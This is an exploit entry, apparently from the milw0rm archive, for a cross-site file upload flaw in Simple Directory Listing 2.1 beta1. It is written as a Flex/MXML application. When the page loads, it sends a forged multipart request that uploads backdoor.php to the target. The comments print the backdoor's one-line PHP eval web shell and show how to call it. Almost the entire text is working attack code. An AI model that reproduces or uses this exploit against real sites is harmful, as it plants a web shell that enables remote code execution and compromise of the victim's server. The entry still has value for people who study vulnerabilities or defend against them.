Simple Directory Listing 2 - Cross Site File Upload
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<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
	<mx:Script>
		/*  
			Written by Michael Brooks
			
			VUlerablity type: Cross Site File Upload.
			Affects: SDL 2.1 beta1
			Product homepage: http://simpledirectorylisting.net/
			
			SDL has 22+ million downloads from sourceforge.net!
			The top three php projects where hacked in one day using . 
			 
			Exploit built using Flex 3.2 (http://www.adobe.com/go/flex_trial)
			uploads ./backdoor.php in the same directory as SDL2.php
			Backdoor Useage:
			http://10.1.1.155/backdoor.php?e=phpinfo();
			backdoor code:
			<?php eval($_GET[e])?>
			
			More info on Cross Site File Upload Attacks:
			http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/
			Inspired by the work of Petko D. Petkov; pdp
		 * GNUCITIZEN
		 **/
		import flash.net.*;
		private function onAppInit():void{
			var request:URLRequest = new URLRequest("http://10.1.1.155/SDL2.php?action=module&amp;module=ModuleUpload&amp;moduleParams[action]=upload&amp;moduleParams[cwdRelPath]=");	
			request.requestHeaders.push(new URLRequestHeader('Content-Type', 'multipart/form-data; boundary=---------------------------109092118919201'));       
		 	request.data = unescape('-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22file%22%3B filename%3D%22backdoor.php%22%0D%0AContent-Type%3A text%2Fplain%0D%0A%0D%0A%3C%3Fphp eval%28stripslashes%28%24_GET%5Be%5D%29%29%3F%3E%0D%0A-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22upload%22%0D%0A%0D%0AUpload%0D%0A-----------------------------109092118919201--%0A');
			request.method = URLRequestMethod.POST;
		    navigateToURL(request, '_self');	
		}
	</mx:Script>
</mx:Application>

# milw0rm.com [2008-12-08]